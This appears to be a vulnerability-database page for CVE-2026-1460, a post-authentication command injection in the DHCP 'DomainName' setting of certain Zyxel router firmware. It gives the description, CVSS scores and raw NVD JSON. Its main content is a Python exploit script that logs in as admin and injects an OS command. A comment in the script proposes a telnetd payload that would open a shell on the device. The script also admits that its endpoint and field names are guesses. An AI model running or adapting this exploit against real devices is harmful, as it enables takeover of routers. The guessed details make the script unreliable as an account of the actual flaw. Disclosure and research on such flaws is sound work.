Security Vulnerability Report
中文
CVE-2026-1460 CVSS 7.2 HIGH

CVE-2026-1460

Published: 2026-04-28 03:16:02
Last Modified: 2026-04-28 20:11:57

Description

A post-authentication command injection vulnerability in the “DomainName” parameter of the DHCP configuration file in Zyxel DX3301-T0 and EX3301-T0 firmware versions through 5.50(ABVY.7.1)C0 could allow an authenticated attacker with administrator privileges to execute OS commands on an affected device.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Zyxel DX3301-T0 <= 5.50(ABVY.7.1)C0
Zyxel EX3301-T0 <= 5.50(ABVY.7.1)C0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-1460 PoC: Zyxel Command Injection via DHCP DomainName # Requires administrator credentials. TARGET_IP = "192.168.1.1" USERNAME = "admin" PASSWORD = "password" def exploit(): session = requests.Session() # 1. Login to get session cookie login_url = f"http://{TARGET_IP}/login" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Attempting login to {TARGET_IP}...") try: r = session.post(login_url, data=login_data, timeout=10) if "login" in r.text.lower() and r.status_code != 200: print("[-] Login failed. Check credentials.") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Login successful.") # 2. Send payload to DHCP configuration endpoint # Note: The exact endpoint path might vary based on firmware version. # Common Zyxel API structure used here. dhcp_url = f"http://{TARGET_IP}/api/cfg/dhcp" # Payload: Touch a file to prove command execution (PoC) # Can be replaced with: ; telnetd -p 1337 -l /bin/sh for a reverse shell payload = "lan; touch /tmp/pwned; #" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # JSON payload structure (adjust keys based on actual API behavior) exploit_data = { "DomainName": payload, "action": "apply" } print(f"[*] Sending payload to {dhcp_url}...") try: r = session.post(dhcp_url, json=exploit_data, headers=headers, timeout=10) print(f"[+] Response status: {r.status_code}") print("[*] Check if /tmp/pwned exists on the device.") except Exception as e: print(f"[-] Exploit request failed: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1460", "sourceIdentifier": "[email protected]", "published": "2026-04-28T03:16:02.313", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A post-authentication command injection vulnerability in the “DomainName” parameter of the DHCP configuration file in Zyxel DX3301-T0 and EX3301-T0 firmware versions through 5.50(ABVY.7.1)C0 could allow an authenticated attacker with administrator privileges to execute OS commands on an affected device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-vulnerabilities-in-certain-4g-lte-5g-nr-cpe-dsl-ethernet-cpe-fiber-onts-and-wireless-extenders-04-28-2026", "source": "[email protected]"}]}}